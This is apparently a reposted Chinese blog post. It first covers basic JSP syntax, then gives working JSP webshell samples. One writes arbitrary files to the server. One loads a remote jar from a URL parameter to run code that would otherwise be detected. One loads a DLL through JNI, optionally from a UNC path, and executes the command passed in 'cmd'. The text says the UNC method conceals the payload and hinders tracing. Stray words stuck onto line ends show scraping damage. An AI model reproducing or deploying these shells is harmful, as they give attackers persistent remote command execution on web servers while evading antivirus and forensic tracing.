Deformity JSP Webshell、Webshell Hidden Learning

1. JSP基礎語法

0x1: 腳本程序

腳本程序能夠包含任意量的Java語句、變量、方法或表達式,只要它們在腳本語言中是有效的php

腳本程序的語法格式:
<% 代碼片斷 %>

或者能夠編寫與其等價的XML語句
<jsp:scriptlet>
   代碼片斷
</jsp:scriptlet>

任何文本、HTML標籤、JSP元素必須寫在腳本程序的外面html

<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>

0x2: JSP聲明

一個聲明語句能夠聲明一個或多個變量、方法,供後面的Java代碼使用。在JSP文件中,您必須先聲明這些變量和方法而後才能使用它們
JSP聲明的語法格式 java

<%! declaration; [ declaration; ]+ ... %>

或者也能夠編寫與其等價的XML語句
<jsp:declaration>
   代碼片斷
</jsp:declaration>

程序示例web

<%! int i = 0; %> 
<%! int a, b, c; %> 
<%! Circle a = new Circle(2.0); %> 

0x3: JSP表達式

1. 一個JSP表達式中包含的腳本語言表達式,先被轉化成String,而後插入到表達式出現的地方 
2. 因爲表達式的值會被轉化成String,因此您能夠在一個文本行中使用表達式而不用去管它是不是HTML標籤 
3. 表達式元素中能夠包含任何符合Java語言規範的表達式,可是不能使用分號來結束表達式 

JSP表達式的語法格式shell

<%= 表達式 %>

一樣也能夠編寫與之等價的XML語句 
<jsp:expression>
   表達式
</jsp:expression>

程序示例express

<html> 
<head><title>A Comment Test</title></head> 
<body>
<p>
   Today's date: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body> 
</html>

0x4: JSP註釋

JSP註釋主要有兩個做用: 爲代碼做註釋、以及將某段代碼註釋掉瀏覽器

1. HTML註釋

<!-- comment [ <%= expression %> ] -->

示例緩存

<!-- This file displays the user login screen --> 
在客戶端的HTML源代碼中產生和上面同樣的數據: 
<!-- This file displays the user login screen -->

<!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->

2. 隱藏註釋

寫在JSP程序中,但不是發給客戶服務器

<%-- 這裏能夠填寫 JSP 註釋 --%>

JSP編譯器是不會對<%-- ... --%>之間的語句進行編譯的,它不會顯示在客戶的瀏覽器中,也不會在源代碼中看到在<%-- --%>之間的代碼,你能夠任意寫註釋語句,可是不能使用"--%>",若是你非要使用請用"--%\>"session

<html> 
<head><title>A Comment Test</title></head> 
<body> 
<h2>A Test of Comments</h2> 
<%-- 該部分註釋在網頁中不會被顯示--%> 
</body> 
</html> 

0x5: JSP指令

JSP指令用來設置與整個JSP頁面相關的屬性
JSP指令語法格式

<%@ directive attribute="value" %>
這裏有三種指令標籤  
1. <%@ page ... %>: 定義頁面的依賴屬性,好比腳本語言、error頁面、緩存需求等等
2. <%@ include ... %>: 包含其餘文件
<%@ taglib ... %>: 引入標籤庫的定義,能夠是自定義標籤

0x6: JSP行爲

JSP行爲標籤使用XML語法結構來控制servlet引擎。它可以動態插入一個文件,重用JavaBean組件,引導用戶去另外一個頁面,爲Java插件產生相關的HTML等等
行爲標籤只有一種語法格式,它嚴格遵照XML標準

<jsp:action_name attribute="value" />

0x7: JSP隱含對象

JSP支持九個自動定義的變量,稱爲隱含對象

1. request: HttpServletRequest類的實例
2. response: HttpServletResponse類的實例
3. out: PrintWriter類的實例,用於把結果輸出至網頁上
4. session: HttpSession類的實例
5. application: ServletContext類的實例,與應用上下文有關
6. config: ServletConfig類的實例
7. pageContext: PageContext類的實例,提供對JSP頁面全部對象以及命名空間的訪問
8. page: 相似於Java類中的this關鍵字
9. Exception: Exception類的對象,表明發生錯誤的JSP頁面中對應的異常對象

0x8: JSP常量

JSP語言定義瞭如下幾個常量

1. Boolean: true and false
2. Integer: 與Java中的同樣
3. Floating point: 與Java中的同樣
4. String: 以單引號或雙引號開始和結束。" 被轉義成 \",'被轉義成 \', \ 被轉義成\\
5. Null: null

Relevant Link:

http://www.runoob.com/jsp/jsp-syntax.html
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448

 

2. WEBSHELL Samples

0x1: 寫文件

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%>

Relevant Link:

http://www.2cto.com/Article/201503/378649.html
http://www.blogjava.net/lusm/archive/2007/02/21/100295.html
http://dingody.iteye.com/blog/2003882
http://blog.kukafei520.net/html/2010/444.html
http://www.125135.com/491711.html
http://www.125135.com/317079.htm
http://www.125135.com/317770.htm

0x2:經過反射遠程加載jar包執行shellcode代碼 

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%> 

經過遠程加載的方式,把遠程的jar文件進行加載 (有害代碼裏都放jar裏),本質上和php裏的include原理相似。

遠程部署的jar裏放會被查殺的shell代碼,好比菜刀的一句話客戶端(.java)文件,而後把該java 文件編譯成jar包便可。

0x3:利用jni遠程調用載入dll,實現payload和loader分離

在java中,Java沒法直接訪問到操做系統底層如硬件系統,爲此Java提供了JNI(Java Native Interface )來實現對於底層的訪問。

JNI容許Java代碼使用以其餘語言編寫的代碼和代碼庫,本地程序中的函數也能夠調用Java層的函數,即JNI實現了Java和本地代碼間的雙向交互。

java中能夠使用native關鍵字來講明這個方法是原生函數,也就是這個方法是用C/C++語言實現的,而且被編譯成了DLL,由java去調用。

能夠將native方法比做Java程序同C程序的接口,其實現步驟:

1. 在Java中聲明native()方法,而後編譯;
2. 用javah命令產生一個.h文件;
3. 寫一個.cpp文件實現native導出方法,其中須要包含第二步產生的.h文件(注意其中又包含了JDK帶的jni.h文件);
4. 將第三步的.cpp文件編譯成動態連接庫文件;
5. 在Java中用System.loadLibrary()或者System.load()方法加載第四步產生的動態連接庫文件,這個native()方法就能夠在Java中被訪問了。

最後jsp webshell以下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
 class JniClass {
   public native String exec(String string);
   public JniClass() {
   //System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");
     //System.load("C:\\Program Files\\Apache Software Foundation\\Tomcat 8.5\\webapps\\shellbypass\\1.dll");
     System.load("\\\\vmware-host\\Shared Folders\\test\\1.dll");
   }
 }
 ;
%>
<%
 String cmd  = request.getParameter("cmd");
 JniClass jniClass = new JniClass();
 String res = jniClass.exec(cmd);
%>
<%=res%>

jsp load時有兩種思路,一種是將該jsp文件和該dll放置於服務器的本地路徑。jsp的代碼裏指定dll的絕對路徑\相對路徑;另一種是使用unc路徑,這樣惡意dll經過遠程部署,增強隱蔽程度,加大溯源難度、提升部署靈活度。

Relevant Link:

https://mp.weixin.qq.com/s/RCXrCHJl4w4CTeLk_HPzQA
相關文章
相關標籤/搜索